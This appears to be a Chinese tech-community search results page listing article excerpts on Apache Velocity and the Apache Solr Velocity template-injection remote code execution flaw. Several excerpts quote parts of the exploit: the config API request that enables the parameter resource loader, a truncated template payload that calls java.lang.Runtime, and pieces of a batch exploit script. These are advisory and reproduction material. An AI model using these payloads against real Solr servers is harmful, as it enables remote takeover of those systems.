展开

关键词

Apache Velocity-----基于Java的模板引擎

Velocity简介Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。 VelocityApache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 经过Velocity处理后会生成如下的HTML代码: Hello Velocity World!   在web项目中使用Velocityvelocity只是一个模板引擎,在web项目中使用Velocity还得添加一个HTTP框架来处理请求和转发,apache提供了velocity-tools,其提供了VelocityViewServlet Velocity也提供了类似的功能,并且该功能更加强大.apache提供了VelocityLayoutServlet来实现页面布局,它是VelocityViewServlet的子类,通过使用VelocityLayoutServlet

3.7K20

Apache Solr Velocity RCE 真的 getshell 了吗

本文作者:haya(信安之路红蓝对抗小组成员)成员招募:信安之路红蓝对抗小组招募志同道合的朋友在复现 Apache Solr Velocity 模板注入时,发现了一些问题,因为这些问题即使可以执行命令, q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime Java 中 Velocity #set 指令是向引擎上下文对象添加属性或对已有属性进行修改。那注入的这个模板进行命令执行实际上也是用了 getRuntime().exec()。 :56.0) Gecko20100101 Firefox56.0} post_data = { update-queryresponsewriter: { startup: lazy, name: velocity

71310
  • 广告
    关闭

    云产品限时秒杀

    云服务器1核2G首年50元,还有多款热门云产品满足您的上云需求

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在 (来自360CERT)0x02 影响范围Apache Solr 5.x - 8.2.0,存在config API版本 0x03 环境搭建自行搭建:使用vulhub中CVE-2019-0193的环境进行搭建启动 的名称直接构造POST请求,在solrtestconfig目录POST以下数据(修改Core的配置){ update-queryresponsewriter: { startup: lazy, name: velocity q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime fr=aladdin历史漏洞CVE-2019-0193 Apache Solr 远程代码执行

    39920

    Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在 (来自360CERT)0x02 影响范围----Apache Solr 5.x - 8.2.0,存在config API版本 0x03 环境搭建----自行搭建: 使用vulhub中CVE-2019-0193 的名称直接构造POST请求,在solrtestconfig目录POST以下数据(修改Core的配置) { update-queryresponsewriter: { startup: lazy, name: velocity q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime

    32730

    漏洞预警 | Apache Solr Velocity 模板远程代码执行漏洞

    【漏洞预警 】Apache Solr Velocity 模板远程代码执行漏洞? ps:由于昨天推文次数已经用完,所以没有即时推送,今天补上0x00背景介绍 Apache Solr 是一个开源的搜索服务器。 Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现 近日国外安全研究员s00py在Github上公开了Apache Solr Velocity的服务端模板注入漏洞的 POC文档名称Apache Solr Velocity模板远程代码执行漏洞预警关键字Apache Solr,Velocity模板,远程代码执行漏洞发布日期2019年10月31日0x01漏洞描述Apache 0x02漏洞等级高危0x03受影响版本经过测试,目前影响Apache Solr 8.1.1到8.2.0版本。但是目前无法确定出现问题的API是何时引入,所以预估是影响全版本。

    9820

    【漏洞预警】Apache Solr Velocity远程代码执行漏洞处置手册

    预警编号:NS-2019-0046 2019-10-31TAG:Apache Solr、Velocity、远程代码执行漏洞危害:高,攻击者利用此漏洞,可造成远程代码执行。 版本:1.0 1漏洞概述10月30日,@_S00pY公开了Apache Solr 远程代码执行漏洞的利用方式,攻击者可通过Velocity模板实现远程代码执行。 此漏洞的触发需要两步完成,首先攻击者需通过config API将params.resource.loader.enabled配置项修改为true;再通过发送恶意velocity模板完成漏洞触发。 SEE MORE →2影响范围受影响版本Apache Solr

    32230

    Apache Solr Velocity模版注入远程命令执行漏洞复线

    0X01 漏洞概述Apache Solr 是一个开源的搜索服务器。Solr使用Java语言开发,主要基于HTTP和ApacheLucene 实现。 10月31日,安全研究员S00pY在GitHub发布了ApacheSolr Velocity模版注入远程命令执行的POC,经过其他安全团队和人员的验证和复线,此漏洞已经能够被批量利用。 访问config文件,Post提交以下数据:{ update-queryresponsewriter: { startup: lazy, name: velocity, class: solr.VelocityResponseWriter q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime gist.githubusercontent.coms00pya1ba36a3689fa13759ff910e179fc133rawfae5e663ffac0e3996fd9dbb89438310719d347agistfile1.txthttps:github.comshadow-horseApache-Solr-Velocity-RCE

    63670

    Apache之Solr Velocity模板远程代码执行

    0x00:简介    最近几日,某国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入的漏洞.经过圈里大佬们研究,发现该0day漏洞存在,并且可以攻击最新版本的Solr.目前该漏洞利用详情已经广泛流传于

    24630

    Apache Solr Velocity模版注入远程命令执行漏洞复现以及 POC 编写

    gist.githubusercontent.coms00pya1ba36a3689fa13759ff910e179fc133rawfae5e663ffac0e3996fd9dbb89438310719d347a该漏洞的产生原因:Apache Velocity 这个模板引擎就可以在一定程度上解决这个问题。Velocity 是一个基于 Java 的模板引擎框架,提供的模板语言可以使用在 Java 中定义的对象和变量上。 VelocityApache 基金会的项目,开发的目标是分离 MVC 模式中的持久化层和业务层。 2、源代码生成:Velocity 可以被用来生成 Java 代码、SQL 或者 PostScript。有很多开源和商业开发的软件是使用 Velocity 来开发的。 Velocity 可以获取在 java 语言中定义的对象,从而实现界面和 java 代码的真正分离,这意味着可以使用 Velocity 替代 jsp 的开发模式了当 Velocity 应用于 Web 开发时

    44620

    apache的开源项目-模板引擎(Velocity)_学习了两天就上手啦_源码下载

    首先,如果你对Velocity不是很了解,还是建议你去apache的官方网站上去走走....这是velocity的官网:http:velocity.apache.org当然如果你对英文文档不是很感冒,这里也有好的资料 =================================代码部分:==============================================================Apache-Velocity-javasrccomb510velocitytestVelocityTest.java getEmail() {69 return email;70 }71 72 public void setEmail(String email) {73 this.email = email;74 }75 76 }Apache-Velocity-javasrccomb510velocitybeanMail.java public void setSenderWebSite(String senderWebSite) {105 this.senderWebSite = senderWebSite;106 }107 108 }Apache-Velocity-javavmshelloWorld.vm1 Apache-Velocity-javavmsemailTemplate.vm 1 ##测试 email 2 3 $mail.senderName message notification 4 Sender

    55810

    Apache Solr 漏洞复现

    Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)漏洞描述Solr是Apache Lucene项目的开源企业搜索平台。 8983Content-Type: applicationjsonContent-Length: 259 { update-queryresponsewriter: { startup: lazy, name: velocity template.base.dir: , solr.resource.loader.enabled: true, params.resource.loader.enabled: true }} 之后,注入Velocity Apache Solr 远程命令执行漏洞(CVE-2019-0193)漏洞描述2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重。 Apache Solr 远程命令执行漏洞(CVE-2017-12629)漏洞简介Apache Solr 是一个开源的搜索服务器。

    52540

    Apache Solr最新RCE批量验证

    批量利用https:github.comk8gegeSolrExpSolrExpApache Solr python exp.py http:192.168.1.26:8983 whoami# Apache = {Content-Type: applicationjson} post_data = { update-queryresponsewriter: { startup: lazy, name: velocity q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime %23end conn = requests.request(GET, url) print (ExecCmd: +conn.text) if __name__ == __main__: print Apache

    60530

    使用 Velocity 构建一个web应用

    作为JSP的替代方案,Velocity 经常被用来在应用中生成web页面。使用Velocity生成页面的一些好处有:Simplicity - 页面可以被非技术型的web设计师创作和维护了。 使用一个框架原始的使用Velocity引擎的目标是根据模板生成文本。所以Velocity中本身并没有包含任何和web相关的功能。 Velocity 的 VelocityStruts 模块可以代替JSP,使用Velocity 作为模板语言。这样就可以让你使用Velocity设计页面的时候可以大量的利用Struts的基础设施。 Apache Turbine 有许多的特性也很有用。 它被构建的时候把Velocity作为基础的页面语言,这没有什么好惊讶的,因为许多的Velocity的开发者都参与了它的构建。 如下操作的前置条件是 JDK 和 Apache Ant。1、从下载页面下载 Velocity Tools 项目源代码(你需要的实例的源代码)。

    22230

    Spring与后端模板引擎的故事

    更详细的原理介绍,点我跳转版本支持重点介绍Velocity,因为其2010年以后连续6年没有更新,版本停留在1.7,直到最近两年才有更新,最新版本是2019年3月更新的2.1,但是变化并不大。 Spring官网原文: As of Spring Framework 4.3, Velocity support has been deprecated due to six years without active maintenance of the Apache Velocity project. Velocity视图解析器继承关系: ? :Themeleaf:解释执行,性能较差(后台用,前台最好别用)Velocity:解释执行,性能良好(采用了大量反射)JSP:性能最好,因为先翻译成源码再编译执行,性能优秀

    56830

    Apache Solr最新RCE漏洞分析

    引言Apache Solr爆出RCE 0day漏洞(漏洞编号未给出),这里简单的复现了对象,对整个RCE的流程做了一下分析,供各位看官参考。 wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime 然后在发送第二个数据包的时候,在HttpSolrCall.call中获取responseWriter的时候,会根据参数wt的值去获取reponseWriter对象,当wt为velocity时,获取的就是我们精心配置过的 要了解这个template就需要了解一下Velocity Java 模板引擎(因为这个tmplate是org.apache.velocity.Template类对象),官方说法翻译一下如下,Velocity 它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象从这个说法,就能看出这个模板引擎是具有执行java代码的功能的,我们只需了解一下它的基本写法, 变量定义#set($name =“velocity

    34210

    Apache Solr远程命令执行复现

    蹭个热度,复现一波:Apache Solr远程命令执行漏洞。 环境可以使用vulhubsolrCVE-2019-0193的环境,进入目录后直接 docker-compose up -d 如下:? HTTP1.1Host: 192.168.119.134:8983Content-Length: 259 { update-queryresponsewriter: { startup: lazy, name: velocity q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime

    42610

    Java代码质量度量工具大阅兵

    It supports Java, JavaScript, Salesforce.com Apex and Visualforce, PLSQL, Apache Velocity, XML, XSL.Additionally CPD finds duplicated code in Java, C, C++, C#, Groovy, PHP, Ruby, Fortran, JavaScript, PLSQL, Apache Velocity, Scala, Objective C, Matlab, Python, Go, Swift and Salesforce.com Apex and Visualforce.PMD:https

    25821

    Apache Solr RCE

    本文作者:KSaint(贝塔安全实验室-核心成员) 0x01:前言10⽉30⽇,国外研究⼈员S00pY,公开了Apache Solr的命令执⾏漏洞的利⽤⽅式。 该漏洞⾸先通过api接⼝发送恶意数据包,更改配置⽂件后,再发送Velocity模板恶意数据包达到远程命令执⾏的⽬的。 CVE编号:暂⽆漏洞影响范围:Apache Solr

    17010

    使用 Velocity 构建一个稳定安全的Web应用

    Velocity 如何帮助开发者创建一个稳定的App 通常,Velocity 是一个html设计师容易学会,并且不会难用的web模板工具。 基于Velocity稳定和安全性的具体问题 考虑安全和稳定要素时,你需要意识到基于Velocity的web应用程序的几个特性。 Velocity 是一个模板工具, 而不是一个框架。 在构建安全,稳定的Velocity Web应用程序中的最佳实践。 如下所列是能够帮助你构建一个稳定的Velocity Web应用程序的最佳实践。   当使用一个web服务器和Apache Tomcat 时,你经常必须明确禁止用户访问 WEB-INF, META-INF,和其他系统路径。   上溯至版本 4.1.12 版本的 Apache Tomcat 应该欺骗性的使用 DefaultServlet 来显示 Velocity 页面, JSP,或者任何其他web树结构中的模板,它们的源代码

    17120

    第7章 Spring Boot集成模板引擎小结

    它是一个开源的Java库,基于Apache License 2.0许可,由Daniel Fernández创建,该作者还是Java加密库Jasypt的作者。 模板Velocity,中文翻译为:速度、速率、迅速。 Velocity是一种Java模版引擎技术,该项目由Apache提出,由另外一种引擎技术Webmacro发展而来。 Apache对它的定义是:一种基于Java的模板引擎,但允许任何人使用简单而强大的模板语言来引用定义在Java代码中的对象。 Velocity是MVC架构的中MV的实现,它的关注点在Model和View之间,作为它们的桥梁。本节我们使用SpringBoot集成velocity开发一个极简的服务监控系统。

    53930

    扫码关注云+社区

    领取腾讯云代金券